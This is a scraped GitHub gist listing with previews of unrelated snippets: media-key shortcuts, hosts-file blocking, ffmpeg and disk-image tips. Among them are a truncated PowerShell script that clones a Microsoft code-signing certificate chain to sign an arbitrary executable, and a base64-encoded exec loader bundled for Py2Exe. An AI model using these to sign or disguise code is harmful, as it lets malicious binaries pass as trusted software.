Skip to content

Instantly share code, notes, and snippets.

View AmmarHaddadi's full-sized avatar

AmmarHaddadi

  • Morocco
View GitHub Profile
@mistic100
mistic100 / Mediakeys.ahk
Last active January 25, 2025 23:00
Media keys shortcuts for AutoHotkey
; AutoHotkey Media Keys
^!Space::Send {Media_Play_Pause}
^!Left::Send {Media_Prev}
^!Right::Send {Media_Next}
^!NumpadMult::Send {Volume_Mute}
^!NumpadAdd::Send {Volume_Up}
^!NumpadSub::Send {Volume_Down}
@djaiss
djaiss / gist:85a0ada83e6bca68e41e
Last active February 12, 2025 22:12
Block Twitter/Facebook in your /etc/hosts
# Block Facebook IPv4
127.0.0.1 www.facebook.com
127.0.0.1 facebook.com
127.0.0.1 login.facebook.com
127.0.0.1 www.login.facebook.com
127.0.0.1 fbcdn.net
127.0.0.1 www.fbcdn.net
127.0.0.1 fbcdn.com
127.0.0.1 www.fbcdn.com
127.0.0.1 static.ak.fbcdn.net
@pmoranga
pmoranga / extract_windows_certificate_from_installer.md
Created September 16, 2016 09:54
Get the (readable) certificate from a windows executable (PE)

Get the (readable) certificate from a windows executable (PE)

From: http://web.fournier.nl/2013/10/get-readable-certificate-from-windows.html

I searched high and low for a simple (linux) solution on how to extract the certificate of an authenticode signed windows binary. I don't want to use wine, nor mono. This is what I came up with:

  • Extract the certificate with 7zip: 7z e setup.exe CERTIFICATE
  • remove the first 8 bytes: dd if=CERTIFICATE bs=1 skip=8 of=setup.exe.pkcs7
  • Read it: openssl pkcs7 -in setup.exe.pkcs7 -inform DER -print_certs -text
@mdalvi
mdalvi / ta-lib_64-bit_installation.md
Last active October 1, 2024 12:58
ta-lib 64-bit Installation on Windows 10

Here are the instructions to build the 64-bit ta-lib.

Install TA-Lib C Library on Windows 10

  • Download and Unzip ta-lib-0.4.0-msvc.zip
  • Move the Unzipped Folder ta-lib to C:\
  • Download and Install Visual Studio Community 2015
  • Remember to Select [Visual C++] Feature
  • Build TA-Lib Library
  • From Windows Start Menu, Start [VS2015 x64 Native Tools Command Prompt]
@Ryonez
Ryonez / (Unofficial) Discord server rules suggestions list.md
Last active December 29, 2024 07:22
(Unofficial) Discord server rules suggestions list

Discord

(Unofficial) Discord server rules suggestions list

Author's Note

I'll start off with letting you know this is a fork from someone else. However, for some bizarre reason, this is the one everyone finds, so I better get round to updating this. Credit to Cristiano#2233 for the original idea.

Also, I've had a lot of people saying the rules are to strict. If you pick all the rules here, you're right, it would be very strict. However the rules below are guidelines! They are there for you to pick the ones you desire, you can ignore ones you don't want. Hopefully they might help with rules you wouldn't have thought of otherwise.

@mattifestation
mattifestation / CertificateCloning.ps1
Created December 18, 2017 00:53
The steps required to clone a legitimate certificate chain and sign code with it.
# We'll just store the cloned certificates in current user "Personal" store for now.
$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' }
$MS_Root_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Root.cer
$Cloned_MS_Root_Cert = New-SelfSignedCertificate -CloneCert $MS_Root_Cert @CertStoreLocation
$MS_PCA_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32PCA.cer
$Cloned_MS_PCA_Cert = New-SelfSignedCertificate -CloneCert $MS_PCA_Cert -Signer $Cloned_MS_Root_Cert @CertStoreLocation
$MS_Leaf_Cert = Get-PfxCertificate -FilePath C:\Test\MSKernel32Leaf.cer
# Technique taken from: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
# Remeber to set your target file path to $SignThis!!
# Example: $SignThis = "C:\Users\user\Desktop\runme.exe"; Cert-Clone.ps1;
# Setup Cert Store in Reg
$CertStoreLocation = @{ CertStoreLocation = 'Cert:\CurrentUser\My' }
# Setup Cert Store on Disk
[system.io.directory]::CreateDirectory("C:\CertStore")
# Download Root Cert
@msacchetin
msacchetin / mrtp.py
Created June 14, 2019 22:04
Customized mrtp.py file to be bundled with Py2Exe
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==')))
@joseluisq
joseluisq / resize_disk_image.md
Last active March 11, 2025 07:56
How to resize a qcow2 disk image on Linux

How to resize a qcow2 disk image on Linux

This example takes olddisk.qcow2 and resizes it into newdisk.qcow2, extending one of the guest's partitions to fill the extra space.

1. qcow2 format

1.1. Verify the filesystems of olddisk.qcow2

@nanusdad
nanusdad / ffmpeg-cheat-sheet.md
Created May 20, 2021 04:25
FFMPEG cheat sheet

FFMPEG Cheat sheet

Compress MP4 files

ffmpeg -i input.mp4 -vcodec libx265 -crf 28 output.mp4

Compressed file to better compatibility (WhatsApp)

ffmpeg -i broken.mp4 -c:v libx264 -profile:v baseline -level 3.0 -pix_fmt yuv420p working.mp4

Convert MOV to MP4